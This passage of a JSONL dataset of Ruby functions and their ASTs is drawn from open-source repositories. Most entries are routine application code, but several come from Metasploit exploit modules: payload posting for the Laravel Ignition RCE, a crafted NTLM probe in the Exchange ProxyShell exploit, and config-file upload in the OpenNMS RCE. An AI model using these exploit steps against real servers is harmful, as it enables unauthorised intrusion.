format_code\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"file\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"File\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"file\"]},\"relative\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"line\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Line\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"line\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"already_ignored?\",{\"type\":\"lvar\",\"children\":[\"warning\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_note\",{\"type\":\"lvar\",\"children\":[\"warning\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Already ignored\"]},{\"type\":\"sym\",\"children\":[\"red\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"666b9239-109e-4bdb-a38d-84b0ff30ff82"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/jobs/visit_suggesting_job.rb","start_line":8,"raw_source":"def perform(user_id:, start_at:, end_at:)\n    user = User.find(user_id)\n\n    start_time = parse_date(start_at)\n    end_time = parse_date(end_at)\n\n    # Create one-day chunks\n    current_time = start_time\n    while current_time < end_time\n      chunk_end = [current_time + 1.day, end_time].min\n      Visits::Suggest.new(user, start_at: current_time, end_at: chunk_end).call\n      current_time += 1.day\n    end\n  end","complexity_score":21.75,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user_id\"]},{\"type\":\"kwarg\",\"children\":[\"start_at\"]},{\"type\":\"kwarg\",\"children\":[\"end_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[null,\"parse_date\",{\"type\":\"lvar\",\"children\":[\"start_at\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_time\",{\"type\":\"send\",\"children\":[null,\"parse_date\",{\"type\":\"lvar\",\"children\":[\"end_at\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_time\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_time\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"end_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunk_end\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_time\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]},{\"type\":\"lvar\",\"children\":[\"end_time\"]}]},\"min\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Visits\"]},\"Suggest\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_at\"]},{\"type\":\"lvar\",\"children\":[\"current_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_at\"]},{\"type\":\"lvar\",\"children\":[\"chunk_end\"]}]}]}]},\"call\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_time\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]}]}]}","id":"01a12232-478b-4381-b3ad-cbeaa667cb5f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/bulk_controller.rb","start_line":61,"raw_source":"def destroy\n    if WorkPackage.cleanup_associated_before_destructing_if_required(@work_packages, current_user, params[:to_do])\n      destroy_work_packages(@work_packages)\n\n      respond_to do |format|\n        format.html do\n          redirect_back_or_default(project_work_packages_path(@work_packages.first.project))\n        end\n        format.json do\n          head :ok\n        end\n      end\n    else\n      respond_to do |format|\n        format.html do\n          render locals: { work_packages: @work_packages,\n                           associated: WorkPackage.associated_classes_to_address_before_destruction_of(@work_packages) }\n        end\n        format.json do\n          render json: { error_message: \"Clean up of associated objects required\" }, status: 420\n        end\n      end\n    end\n  end","complexity_score":35.9,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"cleanup_associated_before_destructing_if_required\",{\"type\":\"ivar\",\"children\":[\"@work_packages\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to_do\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy_work_packages\",{\"type\":\"ivar\",\"children\":[\"@work_packages\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_back_or_default\",{\"type\":\"send\",\"children\":[null,\"project_work_packages_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_packages\"]},\"first\"]},\"project\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_packages\"]},{\"type\":\"ivar\",\"children\":[\"@work_packages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associated\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"associated_classes_to_address_before_destruction_of\",{\"type\":\"ivar\",\"children\":[\"@work_packages\"]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"str\",\"children\":[\"Clean up of associated objects required\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[420]}]}]}]}]}]}]}]}]}","id":"7af5aa46-a280-4f49-a4c0-42a480084b33"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_schedule_service.rb","start_line":185,"raw_source":"def assign_cause_for_journaling(work_package, relation)\n    return {} if initiated_by.nil?\n    return {} unless work_package.changes.keys.intersect?(%w(start_date due_date duration))\n\n    if initiated_by.is_a?(WorkPackage)\n      assign_cause_initiated_by_work_package(work_package, relation)\n    elsif initiated_by.is_a?(CauseOfChange::Base)\n      work_package.journal_cause = initiated_by\n    end\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_cause_for_journaling\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initiated_by\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"changes\"]},\"keys\"]},\"intersect?\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"start_date\"]},{\"type\":\"str\",\"children\":[\"due_date\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initiated_by\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]}]},{\"type\":\"send\",\"children\":[null,\"assign_cause_initiated_by_work_package\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initiated_by\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CauseOfChange\"]},\"Base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"journal_cause=\",{\"type\":\"send\",\"children\":[null,\"initiated_by\"]}]},null]}]}]}]}","id":"bd7e51be-c587-4a84-a740-7d1e2ecc5a8b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/feed_manager.rb","start_line":536,"raw_source":"def add_to_feed(timeline_type, account_id, status, aggregate_reblogs: true)\n    timeline_key = key(timeline_type, account_id)\n    reblog_key   = key(timeline_type, account_id, 'reblogs')\n\n    if status.reblog? && (aggregate_reblogs.nil? || aggregate_reblogs)\n      # If the original status or a reblog of it is within\n      # REBLOG_FALLOFF statuses from the top, do not re-insert it into\n      # the feed\n      rank = redis.zrevrank(timeline_key, status.reblog_of_id)\n\n      return false if !rank.nil? && rank < FeedManager::REBLOG_FALLOFF\n\n      # The ordered set at `reblog_key` holds statuses which have a reblog\n      # in the top `REBLOG_FALLOFF` statuses of the timeline\n      if redis.zadd(reblog_key, status.id, status.reblog_of_id, nx: true)\n        # This is not something we've already seen reblogged, so we\n        # can just add it to the feed (and note that we're reblogging it).\n        redis.zadd(timeline_key, status.id, status.id)\n      else\n        # Another reblog of the same status was already in the\n        # REBLOG_FALLOFF most recent statuses, so we note that this\n        # is an \"extra\" reblog, by storing it in reblog_set_key.\n        reblog_set_key = key(timeline_type, account_id, \"reblogs:#{status.reblog_of_id}\")\n        redis.sadd(reblog_set_key, status.id)\n        return false\n      end\n    else\n      # A reblog may reach earlier than the original status because of the\n      # delay of the worker delivering the original status, the late addition\n      # by merging timelines, and other reasons.\n      # If such a reblog already exists, just do not re-insert it into the feed.\n      return false unless redis.zscore(reblog_key, status.id).nil?\n\n      redis.zadd(timeline_key, status.id, status.id)\n    end\n\n    true\n  end","complexity_score":54.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_feed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timeline_type\"]},{\"type\":\"arg\",\"children\":[\"account_id\"]},{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"kwoptarg\",\"children\":[\"aggregate_reblogs\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timeline_key\",{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"lvar\",\"children\":[\"timeline_type\"]},{\"type\":\"lvar\",\"children\":[\"account_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reblog_key\",{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"lvar\",\"children\":[\"timeline_type\"]},{\"type\":\"lvar\",\"children\":[\"account_id\"]},{\"type\":\"str\",\"children\":[\"reblogs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblog?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aggregate_reblogs\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"aggregate_reblogs\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rank\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"zrevrank\",{\"type\":\"lvar\",\"children\":[\"timeline_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblog_of_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rank\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rank\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedManager\"]},\"REBLOG_FALLOFF\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"zadd\",{\"type\":\"lvar\",\"children\":[\"reblog_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblog_of_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nx\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"zadd\",{\"type\":\"lvar\",\"children\":[\"timeline_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reblog_set_key\",{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"lvar\",\"children\":[\"timeline_type\"]},{\"type\":\"lvar\",\"children\":[\"account_id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reblogs:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblog_of_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"sadd\",{\"type\":\"lvar\",\"children\":[\"reblog_set_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"zscore\",{\"type\":\"lvar\",\"children\":[\"reblog_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]}]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"zadd\",{\"type\":\"lvar\",\"children\":[\"timeline_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6ac0ff90-9dbc-42ad-bd48-262f23444cf9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/php/ignition_laravel_debug_rce.rb","start_line":134,"raw_source":"def put_payload\n    post format_payload\n    post Rex::Text.rand_text_alpha_upper(2)\n  end","complexity_score":4.75,"ast_json":"{\"type\":\"def\",\"children\":[\"put_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"format_payload\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"1c288577-f984-4da3-b6f8-61565a9f1fda"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/services/problem_check/ai_llm_status.rb","start_line":74,"raw_source":"def rate_limit_error?(error)\n    error_message = error.message.to_s.downcase\n\n    # Check for rate limit indicators in the error message\n    rate_limit_indicators = [\n      \"rate limit\",\n      \"rate_limit\",\n      \"ratelimit\",\n      \"too many requests\",\n      \"quota exceeded\",\n      \"retry after\",\n      \"throttled\",\n      \"429\",\n      \"503\",\n      \"temporarily unavailable\",\n      \"service unavailable\",\n      \"overloaded\",\n    ]\n\n    rate_limit_indicators.any? { |indicator| error_message.include?(indicator) }\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limit_error?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]},\"to_s\"]},\"downcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rate_limit_indicators\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rate limit\"]},{\"type\":\"str\",\"children\":[\"rate_limit\"]},{\"type\":\"str\",\"children\":[\"ratelimit\"]},{\"type\":\"str\",\"children\":[\"too many requests\"]},{\"type\":\"str\",\"children\":[\"quota exceeded\"]},{\"type\":\"str\",\"children\":[\"retry after\"]},{\"type\":\"str\",\"children\":[\"throttled\"]},{\"type\":\"str\",\"children\":[\"429\"]},{\"type\":\"str\",\"children\":[\"503\"]},{\"type\":\"str\",\"children\":[\"temporarily unavailable\"]},{\"type\":\"str\",\"children\":[\"service unavailable\"]},{\"type\":\"str\",\"children\":[\"overloaded\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate_limit_indicators\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"indicator\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_message\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"indicator\"]}]}]}]}]}","id":"28d53aab-17f7-4728-b111-ba0992c5b66f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/inline_oneboxer.rb","start_line":15,"raw_source":"def self.invalidate(url)\n    Discourse.cache.delete(cache_key(url))\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"invalidate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}","id":"7079c7bd-50c3-44a3-ac7b-737aff999e4e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxyshell_rce.rb","start_line":188,"raw_source":"def request_fqdn\n    ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    received = send_request_raw(\n      'method' => 'RPC_IN_DATA',\n      'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n      'headers' => {\n        'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n      }\n    )\n    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n    if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n      hash = received['WWW-Authenticate'].split('NTLM ')[1]\n      message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n      dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n      return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n    end\n\n    fail_with(Failure::NotFound, 'No Backend server was found')\n  end","complexity_score":39.08,"ast_json":"{\"type\":\"def\",\"children\":[\"request_fqdn\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"received\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"RPC_IN_DATA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"rpc\"]},{\"type\":\"str\",\"children\":[\"rpcproxy.dll\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NTLM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"ntlm_ssp\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"received\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"TimeoutExpired\"]},{\"type\":\"str\",\"children\":[\"Server did not respond in an expected way\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"received\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"received\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"received\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^NTLM\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"received\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"NTLM \"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"NTLM\"]},\"Message\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dns_server\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"NTLM\"]},\"TargetInfo\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"target_info\"]}]},\"av_pairs\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"NTLM\"]},\"TargetInfo\"]},\"MSV_AV_DNS_COMPUTER_NAME\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_server\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-16LE\"]}]},\"encode\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]},\"downcase\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"No Backend server was found\"]}]}]}]}","id":"17366630-3226-46d6-8419-02250df7b3c6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/descendant_loader.rb","start_line":161,"raw_source":"def cache_path\n      Rails.root.join('tmp/cache/sti_loader.yml')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"tmp/cache/sti_loader.yml\"]}]}]}","id":"aa69d0cf-1617-44d0-9c28-2ac14d22c17f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb","start_line":519,"raw_source":"def upload_xml_config_file(file_name, post_data, mode = 'exploit')\n    # upload the edited notificationCommands.xml file\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),\n      'vars_get' => { 'f' => file_name },\n      'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\n      'keep_cookies' => true,\n      'data' => post_data.to_s\n    })\n\n    unless res\n      return deal_with_failure_by_mode(mode, \"Connection failed while attempting to upload the #{file_name} file\", 'disconnected')\n    end\n\n    unless res.code == 200 && res.body.include?('Successfully wrote to')\n      return deal_with_failure_by_mode(mode, \"Unexpected response received while attempting to upload the #{file_name} file\", 'unexpected_reply')\n    end\n\n    [true]\n  